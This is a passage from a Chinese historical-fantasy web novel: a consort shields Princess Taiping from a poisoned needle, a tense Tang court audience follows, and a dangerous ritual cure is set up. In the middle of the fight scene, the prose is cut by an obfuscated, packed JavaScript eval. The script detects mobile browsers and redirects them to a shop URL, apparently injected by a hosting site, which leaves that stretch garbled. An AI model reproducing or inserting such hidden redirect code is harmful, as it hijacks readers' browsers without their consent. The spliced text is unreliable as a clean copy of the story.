袈裟破裂,露出他肌肉虬结、黝黑如铁石的胸膛。然而,令人骇然的是,在他心口正中央的皮肉上,竟纹着一个逆时针旋转、颜色暗红如凝固鲜血的“卍”字符!那符纹此刻仿佛活了过来,在烛火,虽大多已灭,仍有几盏气死风灯在远处摇曳的映照下,缓缓蠕动,散发出极其邪异、不祥的气息。 “若早得太平公主这般绝佳的‘明妃’为炉鼎……我吐蕃国运,何至于日渐衰微!” 他嘶声狂吼,声音充满了不甘、怨毒与一种献祭般的疯狂。话音未落,他猛地一咬舌尖,一道混合着精血与诡异黑气的血箭,喷在那逆旋的“卍”字符上! “卍”字符骤然血光大盛! 与此同时,摩柯衍布满血丝的双眼,死死锁定了被杜娘子护在身后、正满脸惊骇望着刘皓南的太平。他齿间以肉眼难辨的速度,猛地一挫! “嗤——!” 一道比头发丝还要细、几乎完全透明、只在末端带着一点诡异金芒的细线,毫无征兆地、快如闪电地,自他口中激射而出。直取太平眉心,这不是暗器,而是他凝聚了毕生修炼的苯教邪力,混合了心头精血与最恶毒诅咒,以密宗“口吐莲花”的秘术催发出的绝命一击——“诛心金线”。中者不仅肉身立毙,魂魄亦会被咒力污染,永世不得超生。 这一下偷袭,狠毒、突兀、隐蔽到了极点。更是选在刘皓南刚刚硬撼一记、气血未平、心神稍分的绝佳时机。金线之快,已超越了寻常武学反应的极限。 “太平——!!” 刘皓南的瞳孔,在看到那抹金芒的刹那,缩成了针尖大小。一股从未有过的、冰寒彻骨的恐惧,瞬间攫住了他的心脏!他想也不想,甚至没有时间去思考、去权衡,完全是身体的本能,超越了意志的掌控—— 他合身扑上,用自己宽阔的后背,牢牢挡在了太平与那道索命金线之间。 “噗嗤。” 一声轻微到几乎听不见的、利物入肉的闷响。 时间,仿佛在这一刻凝固了。 那道淬有苯教剧毒“红尘劫”的金线,毫无阻碍地,没入了刘皓南左肩胛下方半寸之处——正是先前画中标注的、太平那处旧箭疮疤痕的附近位置。 金针入体的刹那,针上淬着的、号称“中者无救”的奇毒“红尘劫”,便如烈火烹油,见血即发。蛛网般妖异狰狞的紫黑色斑纹,以那针孔为中心,以肉眼可见的恐怖速度,向着四周的皮肤、血肉、乃至骨骼经脉,疯狂蔓延开来。所过之处,皮肤迅速失去光泽,变得灰败,仿佛生命力被瞬间抽干。 “呃——!” 刘皓南身体猛地一僵,一口黑血抑制不住地喷了出来,眼前阵阵发黑,天旋地转。那毒性之猛烈霸道,远超他想象,不仅侵蚀□□,更直冲心神,眼前幻象重生,耳边魔音灌脑。 “不——!!薛绍!!” 太平的尖叫声,凄厉得仿佛要撕裂整个寝殿的穹顶,也撕裂了这凝滞的时空。她眼睁睁看着那抹金芒没入他的后背,看着他身躯剧震、喷出黑血、皮肤上瞬间蔓延开恐怖的紫黑斑纹……那一刻,她只觉得自己的心脏,也被那金针狠狠刺穿、搅碎! 剧痛、毒发、心神受创……然而,就在这意识即将被黑暗与剧痛吞噬的最后一刹那,刘皓南那双因中毒而迅速涣散的瞳孔深处,却骤然爆发出回光返照般的,骇人无比的凶光与决绝! 那是濒死的野兽,反噬的獠牙! “噗——!” 又是一声闷响。比金针入肉的声音,更加沉闷,更加……干脆。 是那半截染满了刘皓南自己掌心鲜血、之前被他用作武器、深深钉入蟠龙金柱的乌黑炭笔。 不知何时,竟被他以不可思议的速度、角度和最后残存的所有内力,从柱子中拔出,反手,笔直地、狠狠地、精准无比地—— 刺入了因施展绝命一击而气息骤泄、防御降至最低的摩柯衍的眉心正中。 笔尖自前额刺入,从后脑透出寸许,带着红白相间的黏腻之物。 摩柯衍脸上疯狂、怨毒、得意的表情,瞬间凝固。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185092|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪大了一双几乎要凸出眼眶的、充满不敢置信的眸子,死死地盯着近在咫尺、面色惨白如纸、嘴角不断溢出黑血、眼神却冰冷如万载寒冰的刘皓南。 “你……咯……” 他想说什么,喉咙里却只涌出大股大股粘稠的黑血。他庞大魁梧的身躯晃了晃,头顶那尊恐怖的忿怒明王虚影,发出一声无声的哀鸣,轰然溃散,化作漫天黑气,迅速消弭。随即,他如同被抽走了所有骨头的破麻袋,向后轰然仰倒,重重砸在龟裂的青砖地面上,发出一声沉闷的巨响。眉心那截乌黑的炭笔,兀自微微颤动。 寝殿内,一片死寂。 只有其余七名番僧,在目睹上师瞬间毙命后,发出的、如同受伤野兽般的、充满震惊与暴怒的嚎叫。他们眼中再无半分理智,只有疯狂的杀意,不顾一切地朝着刘皓南、杜娘子与太平扑来!上师身亡,他们即便回去,也难逃酷刑,不如拼死一搏! “走!!!” 杜娘子厉叱出声,声音带着前所未有的焦急与决断,她再不犹豫,袖中飞出仅存的三道、以自身精血绘就的“五雷轰顶符”,符箓在空中迎风自燃,并未化作雷火攻击,而是爆发出浓郁如牛乳、伸手不见五指的厚重白雾,瞬间将整个寝殿核心区域彻底笼罩。 白雾不仅遮蔽视线,更带有扰乱气机、阻碍感知的妙用。正是道门“雾隐遁”之术的简化应用。 趁着白雾弥漫、番僧视线与感知受阻的刹那,杜娘子一手死死搀扶住已然毒发昏迷、身体不断抽搐下滑的刘皓南,另一手紧紧揽住魂飞魄散、几乎瘫软的太平,脚下踏出玄奥罡步,身形如鬼魅,又似一道青烟,朝着寝殿内侧那座巨大的紫檀木雕“海屋添筹”屏风之后——那里,有一条极为隐秘、直通公主府外安全屋舍的皇家密道——急掠而去。 白雾渐散。 偌大的寝殿,满地狼藉,断木碎瓷,血迹斑斑。八具尸体横陈——摩柯衍眉心插着炭笔,仰躺于地,死不瞑目;其余七名番僧,则在白雾中或被杜娘子最后甩出的毒蒺藜所伤,或互相误伤,或急于追索而触发殿内机关,亦尽数毙命。 寒风从未曾闭合的破窗呼啸涌入,卷动残破的帷幔,发出呜咽般的声响。唯有那盏在角落幸免于难的气死风灯,依旧散发着昏黄摇曳的光芒,映照着这修罗场般的景象,与空气中浓得化不开的血腥、檀香、以及一丝淡淡的、甜腻而诡异的异毒气息。 次日寅时,紫宸殿。大朝会。 百官肃立,偌大的殿宇内鸦雀无声,落针可闻。一股无形的、沉甸甸的低气压,笼罩在每个人心头。御阶丹陛之下,整齐摆放着八具以白布覆盖的尸首,虽经粗略清理,依旧有浓重的血腥气隐隐散发出来,刺激着文武百官的鼻腔与神经。 刑部尚书裴炎手持一卷边缘染有暗褐血迹、质地特殊的猩红袈裟残片,越众而出,立于御道中央,面向御座,声音洪亮,带着刻意渲染的沉痛与激昂,响彻大殿: “陛下!经臣与大理寺、京兆府连夜勘查、会审,现已查明:日前闹得满城风雨的弩机改良图纸外泄疑案,以及近日接连发生的七位官家女子失踪悬案,皆系此次潜入长安、图谋不轨的吐蕃妖僧所为!此八名妖僧,” 他回身,以手中玉笏指向地上白布覆盖的尸首,厉声道: “昨夜子时,竟胆大包天,悍然潜入太平公主府邸,意图掳掠公主殿下,行不轨之事,更欲以此要挟朝廷,坏我邦交,乱我民心!幸赖驸马都尉薛绍,忠勇护主,不顾自身安危,于公主寝殿之内,与八名凶徒浴血死战,拼死相护,方使公主殿下得以保全,未遭毒手!其赤胆忠心,天日可鉴!然,薛驸马亦因此身负重伤,中毒甚深……” 裴炎话音方落,兵部尚书李敬玄已迫不及待地踏前一步,手中玉笏重重叩击在光洁如镜的金砖地面上,发出“咚”一声闷响,如同战鼓擂动: “陛下!吐蕃欺人太甚!先是散播污秽画作,羞辱天家;今又派妖僧潜入京师,意图掳掠公主!此等行径,与公然宣战何异?!臣,李敬玄,泣血恳请陛下,效法太宗朝卫国公李靖旧事,发兵三十万,出陇右,越祁连,直捣吐蕃逻些城!犁庭扫穴,灭此朝食!以彰我大唐天威,以雪此番奇耻大辱!” “三十万大军?!” 户部尚书崔知温脸色惨白,颤巍巍出列,声音都带了哭腔,“陛下!李尚书忠勇,臣等皆知。然……然去岁河东三道大旱,颗粒无收;河南又遭蝗灾,百姓流离……国库存银,据度支司昨日最新核算,若此时开启对吐蕃战端,粮秣转运、军饷器械、民夫征发、战后抚恤……各项开销,国库存银,顶多……顶多只能支撑三个月啊!陛下!三个月之后,粮饷不继,军心涣散,则……则大事去矣!这仗……打不得,万万打不得啊!” “打不得?!” 李敬玄猛然转身,怒目圆睁,须发皆张,瞪着崔知温,声若雷霆,“难道要学那软弱无能的汉朝皇帝,送公主去和亲,赔上金银绢帛,任由番邦蛮夷羞辱我天朝上国,践踏我皇室尊严吗?!崔尚书!你到底是户部的尚书,还是吐蕃的尚书?!” “好了。” 御座之上,传来一声不高不低、却足以让满殿瞬间死寂的声音。 李治指尖在光滑的紫檀木御案上,有一下没一下地轻轻叩击着,目光平静,甚至带着一丝若有若无的笑意,缓缓扫过阶下激动万分的李敬玄,面如土色的崔知温,以及垂首肃立、神色各异的文武百官。最后,那目光落在了依旧躬身立于御道中央、手持染血袈裟的裴炎脸上。 这位帝王的唇角,噙着那抹令人捉摸不透的、温和得有些诡异笑意,声音亦是平和舒缓,如同闲话家常: “裴卿家,朕记得……你府上似乎有位幺女,去岁及笄,朕还曾让皇后赐下一对玉如意。及笄礼上,吐蕃副使论钦陵,似乎曾当众赞她……‘贞静慧敏,端庄淑雅,颇有当年文成公主之遗风’——朕没记错吧?” 裴炎手持玉笏,正慷慨陈词,闻言,脸上血色“唰”地一下褪得干干净净,身体几不可察地晃了晃。他猛地抬头,看向御座上笑容和煦的帝王,又迅速低下头,喉咙发干,后背瞬间被冷汗浸透: “陛、陛下天恩……臣、臣女蒲柳之姿,愚钝不堪,岂敢……岂敢与文成公主相提并论……论钦陵副使,不过是、不过是客套之言,当不得真,当不得真……” “哎,裴卿过谦了。” 李治笑着摆了摆手,语气愈发温和,目光却如淬了冰的刀子,缓缓在裴炎冷汗涔涔的额头上刮过,“朕倒是觉得,令嫒年方二八,正是青春妙龄,又冰清玉洁,更难得的是,能得吐蕃副使如此‘赞誉’……想必,比朕那早已出嫁、连孩子都生了的太平,要更合吐蕃赞誉的心意,也更适合……为国分忧,结两国之好,止干戈于未萌吧?” “噗通!” 裴炎双腿一软,再也支撑不住,直挺挺地跪倒在冰冷的金砖地上,额头紧紧贴地,发出沉闷的响声。他伏在地上,官袍下的身体抑制不住地微微颤抖,牙齿都在打颤: “陛、陛下……臣、臣……小女……万万不敢……陛下开恩!陛下开恩啊!” 满殿死寂。落针可闻。 所有文武百官,尽皆垂首,眼观鼻,鼻观心,大气不敢喘。皇帝的话,轻飘飘的,如同闲谈,却比任何直接的斥责、罢官、甚至下狱的威胁,都更可怕百倍!他是在用最温柔的语气,说出最诛心的话——若你裴家,再敢拿公主的名节、皇室的颜面做文章,试图搅动风云,达到某些不可告人的目的……朕不介意,让你裴家的嫡女,去“合吐蕃赞誉的心意”,去替你口中那个“受辱”的皇家,去“和亲”,去“结两国之好”。 这比杀了裴炎,更让他恐惧,更让满朝世家出身的官员,感到刺骨的寒意。这是帝王心术,更是毫不掩饰的警告与敲打。 朝堂之上,死寂被打破,旋即又被更复杂的暗流所取代。裴炎并未如众人预想中那般彻底失势,他只是敛了锋芒,垂手退回班列,那张属于宰辅高官的脸上,惊悸与屈辱被迅速压下,只余下一片沉冷的苍白,与紧抿的嘴角泄露的一丝僵硬。他没有瘫软,腰背甚至挺得比先前更直些,那是名门望族浸入骨血的体面与顽固的支撑。然而,那微微低垂、不再与御座对视的眼帘,以及袖中难以抑制的、几不可察的轻颤,都昭示着方才雷霆般的敲打,已切实击中了要害。风暴暂歇,但无人敢放松,因为裴炎依然站在那里,依然是手握刑部权柄的尚书,谁也不知这沉默之下,酝酿着何种反扑。 低语声嗡嗡响起,有人在交换着惊疑不定的眼神,有人在掂量着陛下对裴炎究竟只是敲打,还是动了真格。更多人在观望,气氛比先前纯粹的死寂更为诡谲难测。 就在这片充斥着算计与不安的声浪中,一个沉静平稳的声音,清晰地响起: “陛下,臣,大理寺丞狄仁杰,有本奏。” 声不高,却奇异地让周围的嘈杂为之一静。百官目光汇聚处,狄仁杰缓步出列。他神色无波无澜,仿佛刚才丹墀前的血腥、御座上的雷霆、以及此刻朝堂微妙的紧绷,都未曾扰动他分毫。他双手捧着一卷墨迹犹新的奏疏,躬身,姿态沉稳如古松。 “讲。” 李治的目光,从强作镇定的裴炎身上移开,落在这位以明察刚直著称的年轻臣子身上。皇帝的眼神深邃,看不出情绪。 狄仁杰直身,展开奏疏,声音清晰平稳,一字一句,不掺任何情绪,却如冰泉泻地,将所有人的注意力强行从权谋的迷雾拉回现实的惨烈:“驸马都尉薛绍,于公主府内,为护卫公主殿下,力战八名潜入的吐蕃妖僧,身中奇毒‘红尘劫’。此毒出自吐蕃秘制,据太医署三位首席太医紧急会诊,毒性酷烈异常,专攻心脉,毒发时如烈火焚经,痛楚钻心。解毒之法繁难凶险,需至少五日,以金针封住要穴,阻毒质蔓延,辅以药浴蒸熏,徐徐引导,更需千年雪莲、昆仑紫芝等珍稀药材为引,方有一线生机。期间需绝对静卧,不可挪动,不可惊扰,稍有差池,非但前功尽弃,中毒者更有立时毙命,或武功尽废、终身残废之险。” 他略一停顿,目光坦然迎上御座,将结论清晰道出:“陛下,薛驸马此刻毒侵肺腑,危在旦夕,救治刻不容缓。故,臣斗胆恳请:念薛绍护主有功,忠勇可嘉,请陛下先行下旨,复其兵部弩司主事之职,另,加授云麾将军虚衔(从三品武散官),准其于公主府中静心疗毒。一切太医用药,由宫中直接拨付,专人监管。待五日后,毒性稍得控制,薛驸马稍愈,再行上朝谢恩,听候陛下差遣。” 朝堂再次陷入一片寂静。狄仁杰没有提及任何政治纠葛,没有评价吐蕃刺客如何潜入公主府,只是陈述了一个迫在眉睫的事实:一个刚刚为保护公主差点死掉的人,此刻正命悬一线,而解毒需要时间、需要安静、需要名分和药材。于公于私,于情于理,朝廷都该先救人。这份奏对,撇开了所有纷争,直指“救人”这一最朴素、也最无法辩驳的核心,将那些还在盘旋的算计,衬得有些苍白。 李治静静听着,目光落在狄仁杰手中奏疏上“红尘劫”三个刺目的字上,眼底深处,掠过一丝极其复杂的情绪。有对女儿在府中遇险的后怕与余怒,有对刘皓南竟能舍身护卫的意外与一丝难以言喻的触动,但更多的,是一种深沉的权衡。裴炎已受震慑,目的初步达到。此刻薛绍若真毒发身亡,于刚刚“遇刺”的公主是雪上加霜,于朝廷颜面是另一重打击,更可能让某些刚刚被压下去的心思,借题发挥。该威胁的已经威胁够了,至少现在,不能真让这枚还有用的棋子,尤其是刚刚展现了“忠勇”的棋子,就这么死在毒发之上。稳定,安抚,给予必要的救治和名分,是此刻最符合帝王利益的选择。 片刻的沉默,重如千钧。 “准奏。” 李治终于颔首,声音恢复了帝王的威严与决断,听不出太多情绪,却带着一锤定音的力量,“着太医署三位首席太医,即刻轮值公主府,为薛绍全力诊治,不得有误。赐宫中解毒圣药‘九转还魂丹’三粒,若毒性有变,可酌情使用。一应用度,悉数由内帑支取。务求全力救治,保驸马无恙。” “陛下圣明!” 殿中响起参差不齐的山呼声。许多人,尤其是那些并非裴炎嫡系、或本就对近日风波心怀忧虑的官员,明显松了一口气。无论如何,陛下此刻展现出的,是对“忠勇”的体恤与对公主府至少表面如此的维护,这让他们感到局势并未彻底失控。 朝会散去。百官鱼贯而出,经过那八具覆盖着白布的尸首时,无不步履匆匆,目光复杂。裴炎走在人群中,脸色依旧沉冷,步伐稳而缓,唯有袖中攥紧的拳头,透露出他内心的汹涌。 狄仁杰故意落在最后。待殿中人走得差不多了,他缓步经过那排尸首。在为首那具最为魁梧摩柯衍的尸体旁,他脚步几不可察地微微一顿,俯身,状似整理因久跪而略皱的袍角。修长的手指,却在那电光石火的下蹲瞬间,极其迅捷而隐蔽地,从尸体微微蜷曲、指缝间沾满黑红血污的手指旁,拈起了一小片不起眼的,边缘焦黑卷曲的绢布残屑。 晨光恰好在此刻偏移,透过高大的殿门斜射而入,一缕微尘浮动,照亮他悄然拢入掌心的残屑。残屑不过指甲盖大小,质地是宫中御用的上等冰绡,轻薄柔韧。他借着起身的动作,指尖微捻,将残屑翻到背面——那里,隐约可见拓印的、极其细微精致的螺旋纹路! 狄仁杰瞳孔骤然收缩。那纹路,他昨夜在刘皓南遗落的那张弩机核心部件图纸上见过,分毫不差,正是河东薛氏秘不外传的“蟒绞钢”冷锻技法才能形成的独特纹样! 而残屑的中央,有一个极其细微、边缘焦黑、仿佛被某种极细、极热、速度惊人的锐物瞬间穿透的孔洞。这孔洞的形态…… 狄仁杰的目光,死死锁在那孔洞上,又缓缓抬起,望向殿外皇城上方,那逐渐明亮、却依旧被冬日厚重云层笼罩的苍穹。寒意一丝丝从心底渗出。 他将那残屑无声地纳入袖中暗袋,直起身,整了整紫色官袍,步履沉稳如常地向殿外走去。阳光落在他肩上,却驱不散那骤然降临的、比殿内血腥更刺骨的冰冷。 真正的棋局,方揭开血腥而诡谲的一角。公主府内的刺杀,弩机纹路的泄露,吐蕃妖僧的潜入,裴炎的异常,帝王的权衡……还有这片来自御用冰绡、带着独特纹路与诡异孔洞的残屑。无数线索,如同黑暗中无声蔓延的丝线,彼此纠缠,打成一个又一个死结,指向更深、更不可测的迷雾,以及迷雾之后,那只可能若隐若现的、更可怕的黑手。 公主府,东北角,僻静暖阁。 门窗紧闭,厚重的帘幕隔绝了外界大部分光线与声响。室内光线昏暗浑浊,浓烈到令人作呕的药味、血腥气,以及一种□□正在缓慢腐烂般的甜腥气息弥漫不散,沉重得几乎令人窒息。 刘皓南被安置在临时铺设的厚褥上,气息已微弱得难以察觉。毒斑如同拥有生命的恐怖藤蔓,从他肩胛伤口处蔓延,爬满了半边脖颈、脸颊,甚至侵入了眼角,在昏暗灯光下,那紫黑色纹路微微鼓胀,皮肤下仿佛有活物在蠕动。他另一半完好的脸,苍白如蜡,了无生气。 太平跪坐在榻边,双手死死按着他肩胛下那个细小的伤口。伤口已不再大量涌出黑血,而是变成一种更可怕的、缓慢的、黏稠的渗出,颜色暗沉发黑。她先前用来按压的丝帕早已浸透,此刻她直接用自己冰凉颤抖的手捂着,可那湿冷滑腻的触感,那仿佛能带走他所有生命的微弱渗出,让她从灵魂深处感到寒冷和灭顶的绝望。眼泪早已流干,眼眶红肿灼痛,只剩下喉咙里压抑不住的、破碎的抽气声,和一遍遍无意识的低喃: “撑住……求你撑住……狄仁杰请旨了……太医马上就来了……母后赐了药,最好的药……你会没事的……薛绍,你看看我……你看看我啊……” 刘皓南没有任何回应。他的身体冰冷,只有被毒斑侵染的皮肤,触手滚烫。意识似乎已沉入无边黑暗的深海,只有最深处,还残存着一星极其微弱的、随时会熄灭的光点。 不知过了多久,也许只是一瞬,也许是漫长的一世。他极其艰难地、挣扎着,掀开了沉重的眼皮。视线模糊、涣散,只能看到一片昏暗光影中,太平那张近在咫尺、却仿佛隔着一层水波的脸。惨白,布满泪痕,写满了惊惶、绝望和无尽的悔恨。 他嘴唇极其轻微地翕动了一下,似乎想发出声音,却只带出一小股黑色的血沫,从嘴角溢出。 太平浑身一震,猛地俯下身,耳朵几乎贴到他唇边,屏住了呼吸。 他看着她,涣散的瞳孔里,那点微弱的光,努力想要凝聚。那目光,不再是平日的沉静锐利,而是一片空旷的、濒死的灰暗,但灰暗深处,却仿佛有什么东西,极其艰难地、一点一点地亮起,那是最后一点意识,最后一丝牵挂。 他积聚着残存的所有气力,那只未被按住的手,手指几不可察地抽搐了一下,然后,极其缓慢地,颤抖着,抬起了一点点。指尖染着他自己的血污,冰冷黏腻,用尽最后一丝力气,极其轻柔地,碰了碰太平冰凉濡湿的脸颊。 一个几乎感觉不到的触碰。却让太平猛地一颤,眼泪再次毫无预兆地奔涌而出。 他看着她泪如雨下,涣散的目光里,似乎掠过一丝极淡、极淡的,难以辨明的东西。像是想替她拭泪的无奈,像是无法再陪伴的叹息,又像是……对她未来独自面对这漩涡的、最深最沉的牵挂。 然后,他嘴唇再次动了,气若游丝,声音低微破碎得如同风中断弦,每一个字,都像是从被毒液腐蚀的肺腑中,硬生生挤出: “殿下……” 他顿了顿,胸口的起伏更微弱了,黑血不断从嘴角溢出。 “下次布棋……” 他看着她,用尽最后一丝清晰,说出这句或许是他此生,对她最后的叮嘱与告诫,“记得……” 又是一阵艰难的喘息,每一次呼吸都带着濒死的嗬嗬声,胸膛的起伏几乎肉眼难辨。 “……给自己……也留条……” 他的目光开始迅速涣散,那点微弱的光,终于要被无尽的黑暗吞没。碰触她脸颊的手指,无力地滑落。 “……退路……” 最后两个字,轻如叹息,消散在充斥着药味与血腥的浑浊空气里。 话音未落,他眼睛缓缓闭上,抬起的手彻底垂落。脖颈间那狰狞的毒斑,似乎也停止了蠕动,只剩下死寂的紫黑。胸膛最后一丝微弱的起伏,也归于平静。 暖阁内,时间仿佛静止了。 下一秒—— “不——!!!薛绍——!!!” 太平的尖叫,凄厉、绝望、撕心裂肺,仿佛胸腔里有什么东西被硬生生扯碎。她猛地扑上去,疯狂摇晃他逐渐冰冷的身体,试图捂住那不再流血的伤口,试图温暖他迅速失去温度的手,试图从那张灰败的脸上再找到一丝生的痕迹。可是,没有。什么都没有。只有迅速蔓延开的冰冷,和无边无际的、吞噬一切的死寂。 她的哭喊,不再是压抑的呜咽,而是失去了所有理智与仪态的、野兽般的哀嚎,撞在密闭暖阁的墙壁上,被厚厚的帘幕吸收,只留下闷闷的回响,盘旋在这充满死亡气息的狭小空间里,也深深凿进她的灵魂,刻下永世无法磨灭的血痕。 狄仁杰的奏对赢得了时间,皇帝的旨意送来了生机,可榻上的人,气息将绝。 退路?他让她记得留退路。 可他自己的生路,在哪里? 太平猛地抬起头,脸上泪痕血污交错,眼中却燃起一种近乎疯狂的、孤注一掷的决绝火焰。她不能让他死。不惜任何代价。 65. 血铃铛 别院暖阁,气氛凝重如铅。 琉璃盏中由宫中赐下的“紫金丹”所化药液,澄澈透亮,色泽宛如上等的琥珀,在昏黄烛光下流转着温润却令人不安的光泽。内侍监屏息躬身,将药盏呈至榻前时,刘皓南肩头那蛛网般狰狞的紫黑色毒斑,已如活物般悄然蔓延过了锁骨,正向心口与脖颈侵蚀。他面如金纸,气息微弱,胸膛的起伏几乎难以察觉。 药汤被勉强灌入喉中。不过半刻,异变陡生。 刘皓南身体猛地一弓,双目骤然睁开,喉间发出嗬嗬异响,一大口粘稠如墨,气味刺鼻的黑血狂喷而出,染污了锦褥。更骇人的是,他心口处的肌肤之下,数道青黑色的纹路如同被惊醒的毒蛇,骤然扭结凸起,正是吐蕃奇毒“红尘劫”被异常激发、直攻心脉的濒死之兆! “药有问题!” 一直守在旁的狄仁杰面色剧变,急声喝令,“速召太医署首席!验药!” 太医署首席须发皆白,手指却稳如磐石。他以特制银针探入残留药液,针尖甫一浸入,那澄澈的“琥珀”竟瞬间泛起一层诡异幽蓝的荧光!老太医瞳孔收缩,银针再探向盏壁残留的些许未化药末,凑近鼻端细嗅,又用指尖捻开,苍老的声音带着难以置信的惊怒: “是‘相思缠’!此乃南诏密林所产的一种奇花汁液提炼而成,无色无味,单独服用并无大碍,甚至略有宁神之效。可一旦……一旦遇龙涎香气,两相作用,便能化阳为阴,转补为攻,催发百毒。公主府常年所用熏香中,正有御赐的极品龙涎!” 他猛地抬头,看向脸色煞白的太平,声音发颤:“殿下!这‘紫金丹’本是至阳解毒圣药,可经‘相思缠’与龙涎香这一激,药性逆转,竟成了催化‘红尘劫’的……催命符!下毒者……这是算准了公主府的熏香习惯,更是算准了陛下必赐此丹解毒!其心可诛!其计歹毒!” “哐当——!” 太平手中一直紧握的、原本欲给刘皓南拭汗的湿帕,连同那方沉重的和田玉镇纸,被她猛地扫落在地。她霍然起身,一把夺过内侍手中尚存残液的琉璃盏,看也不看,扬手便狠狠掼向地面。 “啪——!” 清脆刺耳的碎裂声炸响!琉璃碎片如冰雪般四溅开来。太平胸口剧烈起伏,眼中燃着冰冷的火焰,猛地转头,目光如利刃般射向一旁早已吓得匍匐于地、瑟瑟发抖的郑娘子。 “郑三娘!” 太平的声音因愤怒与急迫而嘶哑,却字字清晰,带着山雨欲来的威压,“你出身荥阳郑氏,百年清誉的世家嫡女,却偏为研习那些被视为‘邪道’的蛊毒之术,不惜与家族反目。本宫且问你——” 她上前一步,绣着金凤的丝履几乎踩到郑娘子指尖:“如今,驸马身中这般阴损刁钻的吐蕃奇毒,太医署束手,‘紫金丹’反成催命符!你既精研此道,可还有胆量,敢不敢……以毒攻毒,行那非常之法,从阎王手里,抢回这条命来?!” 郑娘子尚未从惊骇中回神答话,一直静立榻边、以指尖搭着刘皓南腕脉渡入真气、勉强护住他最后一缕生机的杜娘子,已然蹙紧了眉头。她渡入的真气精纯绵长,此刻却如泥牛入海,只能堪堪吊住刘皓南行将溃散的心神。感受到指尖下脉息的微弱与紊乱,杜娘子抬眸,看向太平,声音清冷:“殿下,郑娘子所学虽偏,或有一线生机。然……” 她话未说完,榻上的刘皓南似乎被激,睫毛剧烈颤动了几下,竟极其艰难地,掀开了一道眼缝。视线涣散,却努力地望向太平的方向。 郑娘子见状,深吸一口气,仿佛下定了某种决心。她不再跪伏,而是直起身,自随身携带的一只不起眼的陈旧药囊深处,小心翼翼取出一个赤玉小瓶。拔开塞子,倒出五枚龙眼大小、颜色赤红如血、散发着奇异浓香的药丸。那香气绝非寻常草药,带着一丝腥甜,瞬间弥漫了整个内室。 “吐蕃苯教的‘红尘劫’……” 郑娘子声音低而急,带着研毒者特有的冷静与一种破釜沉舟的决绝,“并非简单毒药,实乃其秘传邪法的根基之毒,性烈诡谲,阴毒无比。它并非单纯破坏肉身,更似有灵性,能缠绕神魂,侵蚀经脉根本。寻常解毒之法,根本奈何它不得。” 她顿了顿,目光扫过刘皓南心口那狰狞的青黑纹路,又看向太平,每个字都说得分外清晰,也分外沉重:“欲解此毒,唯有……反其道而行之。以其毒修炼之法门,逆向施为。需以秘传的,逆转阴阳的‘反五势’之法,分五日,依次施为,将已侵入心脉骨髓的毒性,强行导引、剥离、炼化,迫出体外。” “然此法凶险异常,近乎九死一生!” 郑娘子语气陡然加重,“其一,中毒者需连服五日霸烈无比的‘春风度’——此药药性之猛,殿下当知晓——以催发、激荡其体内被毒性压抑的阳气与生机,如同沸油沃雪,令毒性彻底显形,活跃,方能被引导。然服药者将神思亢奋迷乱,五感颠倒,难以自控。” “其二,” 她看向太平,眼中闪过一丝不忍,却不得不言,“施救者……需全程保持绝对清醒,以特定仪轨之姿,反客为主,掌控全局。依次施展‘骑乘倒莲’、‘蛇缠金刚’、‘倒挂金钟’、‘反弓衔月’、‘叠股承露’这五势。每一势皆需精准到位,契合毒性与药性运行的关窍,稍有差池,非但前功尽弃,二人皆会立时毙命!” “其三,” 郑娘子声音压得更低,带着一种残酷的直白,“其间痛楚,非人所能承受。毒性剥离如刮骨抽髓,药性冲撞似烈焰焚身……施救者需承受大半。为精确判断中毒者气机流转、毒性位置,需以特制金铃系于施救者足踝,闻其声响频率、轻重、急缓,来辨位导引……” “殿下!” 郑娘子忽然再次重重叩首,额头触地有声,声音带着哽咽与劝阻,“此法实乃蛮荒之术,赌命之举!范阳卢氏、博陵崔氏、清河崔氏、陇西李氏……五姓七望之中,多的是年貌相当、才华出众的适婚俊彦,哪一个不是门当户对,可托终身的良配?殿下金枝玉叶,何必……何必为一人,赌上自己的性命、清誉,乃至往后余生?” “荒谬!” 一旁的杜娘子忽然冷笑出声,打断了郑娘子恳切的劝阻。她指尖渡出的真气愈发凝重,额角已见细汗,语气却带着毫不掩饰的鄙夷与一种复杂的焦灼,“旁门左道,安能辱及天家贵体?不若我以玄门‘锁魂针’秘法,暂且封住其毒性蔓延,再广寻天下奇药,徐徐图之。皮相美丑,终将腐朽;山河岁月,才是永恒。何必为一人皮囊,以命相搏,徒损根基?” 刘皓南在杜娘子源源不断的真气支撑下,得了片刻艰难的清明。将郑娘子之言断续听入耳中,他本就惨白的脸色更是血色尽失,挣扎着想要撑起身子,声音微弱却斩钉截铁:“不……可……此等蛮荒……邪术……悖逆人伦……辱没天家体统……臣……宁死……亦不受……” “那便让后世史官,在提及此事时,只记一句——” 太平的声音,平静地响起,打断了所有劝阻。这平静并非无知无畏,而是一个历经风雨的妇人在权衡所有利弊后,做出的孤注一掷的决断。她目光扫过那五枚赤红如凝固心血的药丸,最终落在刘皓南苍白如纸的脸上。没有惶惑,只有一种深潭寒冰般的清醒与决绝。 她伸手,动作干脆利落,一把夺过郑娘子掌中那五枚赤丸。看也不看,五指收拢,将其重重掷于身旁坚硬的紫檀案几之上。 “嗒、嗒、嗒、嗒、嗒。” 五声闷响,一声重过一声,敲在寂静的密室里。没有犹豫,没有回头。 与此同时,她另一只手没有丝毫停滞,猛地扯开了自己腰间本已松散的衣带。外袍与中衣顺着肩头滑落,露出大片肌肤。这成□□人的身躯,此刻在昏暗光线下微微绷紧,带着一种赴死般的凛然,以及一丝无法完全掩饰的、对即将到来痛楚的本能畏惧。 “乾封年间,太平公主以身为药,引蛮毒,破吐蕃邪术,救驸马都尉薛绍于必死。’” 她看着郑娘子,一字一句,清晰无比,不容置疑:“金铃……系便是。” 首日 